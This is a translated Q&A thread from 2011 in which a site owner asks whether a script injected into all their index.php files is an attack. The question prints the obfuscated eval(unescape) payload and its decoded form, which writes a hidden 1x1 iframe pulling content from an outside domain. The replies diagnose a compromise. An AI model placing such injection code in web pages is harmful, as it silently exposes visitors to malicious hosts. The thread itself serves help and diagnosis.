【发布时间】:2011-04-18 15:15:22
【问题描述】:
index.php 文件受到下面给出的脚本的影响。因此,谷歌已禁止我访问。有人请告诉我这是一种攻击吗?有什么解决方案吗?
<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%70%6F%64%66%65%72%2E%63%6F%6D%2F%3F%35%30%36%36%37%31%38%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!-- uy7gdr5332rkmn -->
FWIW,上面的未编码版本是
eval(document.write('<iframe src="http://podfer.com/?5066718" width=1 height=1></iframe>'));
感谢和问候
提斯蒙
【问题讨论】:
-
糟糕!只需在我的浏览器 Firebug Javascript 控制台中运行它,我的电脑就会单独播放俄罗斯方块:~)
-
@ring0 这就是奉献
-
@tismon 这只是将 iframe 插入您的网站的代码,就像任何恶意软件一样。需要更多信息。您正在运行诸如 wordpress 之类的软件吗?
-
不是,是我自己在php 4和oracle中设计的,而且我根目录下所有index.php文件都受这个脚本影响。
-
有时您的软件可能被黑客入侵,有时您的主机可能已被黑客入侵(远程用户攻击 apache、IIS 等,甚至是在同一主机上拥有帐户的另一个本地用户)。如果不详细了解您的软件,我们将无法提供解决方案。 PHP 4 强烈建议您一般需要重写它 - PHP 4 应该在这一点上,不再使用。它非常过时,最后我知道,配置了不安全的默认值。如果您的虚拟主机不支持 PHP 5,我建议您找一个新主机。